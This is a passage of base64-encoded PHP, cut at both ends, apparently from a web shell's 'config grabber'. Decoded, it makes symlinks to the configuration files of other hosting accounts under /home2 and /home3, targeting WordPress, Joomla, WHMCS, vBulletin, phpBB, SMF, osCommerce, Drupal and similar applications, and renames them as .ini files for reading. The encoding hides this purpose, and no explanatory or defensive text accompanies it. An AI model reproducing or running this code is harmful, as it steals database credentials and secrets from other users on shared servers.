lvbi5waHAnLCRkb21haW4uJ35+PmJpbGxpbmcuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5iaWxsaW5ncy5pbmknKSA7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9jb25maWcucGhwJywkZG9tYWluLid+fj5QaHBCQi1mb3J1bS5pbmknKSA7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkZG9tYWluLid+fj5waHBiYjMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htY3MuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+d2htYy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnLCRkb21haW4uJ35+PndobWNzMi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bWFuZ2V3aG1jcy5pbmknKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+V2htOS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL215c2hvcC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+bXlzaG9wLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PnN1cHBvcnQuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydHMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2UuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlcy9pbmNsdWRlcy9jb25maWd1cmUucGhwJywkZG9tYWluLid+fj5vc2NvbW1lcmNlcy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3BwaW5nL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNob3Atc2hvcHBpbmcuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNhbGUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hbWVtYmVyL2NvbmZpZy5pbmMucGhwJywkZG9tYWluLid+fj5hbWVtYmVyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd3AuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC1iZXRhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmV0YS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ByZXNzL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndwMTMtcHJlc3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdvcmRwcmVzcy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13b3JkcHJlc3MtYmV0YS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW5ld3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLW5ldy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93ZWIvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdlYi5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZ3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLWJsb2dzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtaG9tZS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb3RhbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtcHJvdGFsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS93cC1jb25maWcucGhwJywkZG9tYWluLid+fj5vcmRwcmVzcy1zaXRlLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbWFpbi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3Rlc3Qvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXRlc3QuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEuc2h0bWwnKSA7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vbWxhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtcHJvdGFsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtam9vLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY21zL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtY21zLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLXNpdGUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbWFpbi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1uZXdzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtbmV3LmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLWhvbWUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj5WQnVsbGV0aW4tZm9ydW0uaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52Yi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiMy9pbmNsdWRlcy9jb25maWcucGhwJywkZG9tYWluLid+fj52YjMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNwYW5lbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3BhbmVsL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5wYW5lbC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3QvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3QuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5ob3N0aW5nLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmhvc3RzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LmluaScpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywkZG9tYWluLid+fj56ZW5jYXJ0LXNob3AuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+PnNob3AtWkNzaG9wLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn4+bWstcG9ydGFsZTEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi5pbmknKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywkZG9tYWluLid+fj5zbWYtc21mLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NldHRpbmdzLnBocCcsJGRvbWFpbi4nfn4+c21mLWZvcnVtLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtcy9TZXR0aW5ncy5waHAnLCRkb21haW4uJ35+PnNtZi1mb3J1bXMuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PnVwbG9hZC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+bWFsYXkuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xlbnRzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50ZS9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+Y2xpZW50Mi5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHN1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTIvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d2ViY29uZmlnLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRkb21haW4uJ35+PndlYmNvbmZpZzIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhMS5pbmknKTsgDQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGRvbWFpbi4nfn4+bG9rb21lZGlhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZXMvZGVmYXVsdC9zZXR0aW5ncy5waHAnLCRkb21haW4uJ34+RHJ1cGFsLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMi8nLiR1c2VyLicvcHVibGljX2h0bWwvZTEwN19jb25maWcucGhwJywkZG9tYWluLid+PmUxMDcuaW5pJyk7DQogc3ltbGluaygnL2hvbWUyLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9kYXRhcy9jb25maWcucGhwJywkZG9tYWluLid+PlNlZGl0aW8uaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywkZG9tYWluLid+fj5DTUYuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL1NTSS5waHAnLCRkb21haW4uJ35+PkNNRi1mb3J1bS5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkIuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jL2NvbmZpZy5waHAnLCRkb21haW4uJ35+Pk15QkItZm9ydW0uaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+T3RoZXIuaW5pJykgOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkZG9tYWluLid+fj5pbnZpc2lvLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbGliL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PkJhbGl0YmFuZy5pbmknKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudHMuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmNsaWVudC5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+YmlsbGluZy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+PmJpbGxpbmdzLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2NvbmZpZy5waHAnLCRkb21haW4uJ35+PlBocEJCLWZvcnVtLmluaScpIDsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRkb21haW4uJ35+PnBocGJiMy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jcy5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG0uaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj53aG1jLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGRvbWFpbi4nfn4+d2htY3MyLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5tYW5nZXdobWNzLmluaScpOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5XaG05LmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5teXNob3AuaW5pJyk7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+c3VwcG9ydC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5zdXBwb3J0cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2UvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+b3Njb21tZXJjZS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL29zY29tbWVyY2VzL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRkb21haW4uJ35+Pm9zY29tbWVyY2VzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2hvcC1zaG9wcGluZy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3NhbGUvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGRvbWFpbi4nfn4+c2FsZS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2FtZW1iZXIvY29uZmlnLmluYy5waHAnLCRkb21haW4uJ35+PmFtZW1iZXIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGRvbWFpbi4nfn4+YW1lbWJlcjIuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy13cC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdwLWJldGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iZXRhL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1iZXRhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJlc3Mvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d3AxMy1wcmVzcy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd29yZHByZXNzLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGRvbWFpbi4nfn4+d29yZHByZXNzLXdvcmRwcmVzcy1iZXRhLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3cy5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL25ldy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtbmV3LmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MuaW5pJykgOyANCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3Mtd2ViLmluaScpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtYmxvZ3MuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1ob21lLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1wcm90YWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+Pm9yZHByZXNzLXNpdGUuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9tYWluL3dwLWNvbmZpZy5waHAnLCRkb21haW4uJ35+PndvcmRwcmVzcy1tYWluLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywkZG9tYWluLid+fj53b3JkcHJlc3MtdGVzdC5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5pbmknKSA7IA0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS5zaHRtbCcpIDsgDQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtaG9tZS5pbmknKSA7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb29tbGEuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1wcm90YWwuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb28vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1qb28uaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1jbXMuaW5pJyk7DQogc3ltbGluaygnL2hvbWUzLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL2NvbmZpZ3VyYXRpb24ucGhwJywkZG9tYWluLid+fj5qb29tbGEtc2l0ZS5pbmknKTsNCiBzeW1saW5rKCcvaG9tZTMvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vY29uZmlndXJhdGlvbi5waHAnLCRkb21haW4uJ35+Pmpvb21sYS1tYWluLmluaScpOw0KIHN5bWxpbmsoJy9ob21lMy8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGRvbWFpbi4nfn4+am9vbWxhLW5ld3MuaW5pJyk7DQogc3ltbGluaygnL2hv